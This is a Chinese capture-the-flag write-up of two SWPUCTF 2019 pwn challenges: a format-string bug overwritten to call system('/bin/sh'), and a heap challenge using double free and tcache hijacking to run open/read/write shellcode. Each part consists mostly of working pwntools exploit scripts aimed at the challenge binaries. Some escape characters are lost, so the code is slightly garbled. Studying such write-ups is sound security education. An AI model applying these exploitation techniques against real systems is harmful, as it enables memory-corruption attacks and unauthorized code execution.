SWPUCTF 2019 pwn writeup

  来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总)。

SWPUCTF_2019_login

  32位程序,考点是bss段上的格式化字符串。用惯onegadgets了,而对于32位程序来说,onegadgets似乎不太好用,条件太苛刻了。还是用system拿shell好一点。

  我见网上都是打got表拿的shell,我是修改程序执行流程为system拿的shell。

  修改0xffc2e7a8 —▸ 0xffc2e7b8为0xffc2e7a8 —▸ 0xffc2e79c

  然后让0xffc2e79c指向system。第一次输入的name信息输入"/bin/shx00"的位置正好可以当作system的参数来拿shell。

 1 from pwn import *
 2 
 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-x86.so'})
 4 libc = ELF('./libc-2.27-x86.so')
 5 context.log_level = 'debug'
 6 
 7 def fun(content):
 8     p.sendlineafter('again!
',content)
 9 def duan():
10     gdb.attach(p)
11     pause()
12 
13 p.sendafter('name: 
','/bin/shx00')
14 p.sendlineafter('password: 
','%15$p-%6$p')
15 p.recvuntil('password: ')
16 libc_base = int(p.recv(10),16)-241-libc.symbols['__libc_start_main']
17 p.recvuntil('-')
18 stack = int(p.recv(10),16)
19 print 'libc_base-->'+hex(libc_base)
20 print 'stack-->'+hex(stack)
21 system = libc_base+libc.symbols['system']
22 print 'system-->'+hex(system)
23 
24 payload = '%'+str((stack-0xc)&0xff)+'c%6$hhn'
25 fun(payload)
26 payload = '%'+str(system&0xff)+'c%10$hhn'
27 fun(payload)
28 
29 system = str(hex(system))
30 system = system[:-2]
31 payload = '%'+str((stack-0xc+1)&0xff)+'c%6$hhn'
32 fun(payload)
33 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
34 fun(payload)
35 
36 system = system[:-2]
37 payload = '%'+str((stack-0xc+2)&0xff)+'c%6$hhn'
38 fun(payload)
39 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
40 fun(payload)
41 
42 system = system[:-2]
43 payload = '%'+str((stack-0xc+3)&0xff)+'c%6$hhn'
44 fun(payload)
45 payload = '%'+str(int(system,16)&0xff)+'c%10$hhn'
46 fun(payload)
47 
48 p.sendline('wllmmllw')
49 p.interactive()

SWPUCTF_2019_p1KkHeap

  Ubuntu18.04的环境,保护全开,而且有沙箱保护。

  如果调用execve会跳转到0011,会被KILL掉。(我猜的)

  所以这题只能通过orw来拿flag。

  程序存在uaf漏洞,并且对free限制了只可以用3次,所有功能的总次数也有限制。反正我正好,一次不多,一次不少的用完了所有次数。

  free两次,泄露heap地址,同时利用double free来劫持tcache结构体,写入一些数据使得再free的chunk进入unsortedbin而不是tcache,就可以拿到libc的基地址,然后利用结构体任意写。在程序初始化的时候mmap了一块可读可写可执行的地址,往那个地址写orw的shellcode,我最后是打exit_hook为shellcode的地址,程序退出的时候输出了flag。

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 libc = ELF('./libc.so.6')
 6 context(os='linux',arch='amd64',log_level='debug')
 7 
 8 def duan():
 9     gdb.attach(p)
10     pause()
11 def add(size):
12     p.sendlineafter('Choice: ','1')
13     p.sendlineafter('size: ',str(size))
14 def edit(index,content):
15     p.sendlineafter('Choice: ','3')
16     p.sendlineafter('id: ',str(index))
17     p.sendafter('content: ',content)
18 def show(index):
19     p.sendlineafter('Choice: ','2')
20     p.sendlineafter('id: ',str(index))
21 def delete(index):
22     p.sendlineafter('Choice: ','4')
23     p.sendlineafter('id: ',str(index))
24 
25 add(0x80)
26 delete(0)
27 delete(0)
28 show(0)
29 p.recvuntil('content: ')
30 heap_addr = u64(p.recv(6).ljust(8,'x00'))
31 print 'haap_addr-->'+hex(heap_addr)
32 add(0x80)
33 edit(1,p64(heap_addr-0x250))
34 add(0x80)
35 add(0x80)
36 edit(3,p64(0x0700000000000000))
37 add(0x80)
38 add(0x80)
39 delete(4)
40 show(4)
41 libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.symbols['__malloc_hook']
42 exit_hook = libc_base+0x619060+3840
43 print 'libc_base-->'+hex(libc_base)
44 edit(3,p64(0x0700000000000001)+p64(0)*7+p64(exit_hook)+p64(0)*6+p64(0x66660000))
45 add(0x80)
46 buf = 0x66660000+0x100
47 shellcode = shellcraft.open('./flag')
48 shellcode += shellcraft.read('rax',buf,100)
49 shellcode += shellcraft.write(1,buf,100)
50 payload = asm(shellcode)
51 print len(payload)
52 edit(6,payload)
53 add(0x10)
54 edit(7,p64(0x66660000))
55 print p.recv()

原文地址:https://www.cnblogs.com/bhxdn/p/14406369.html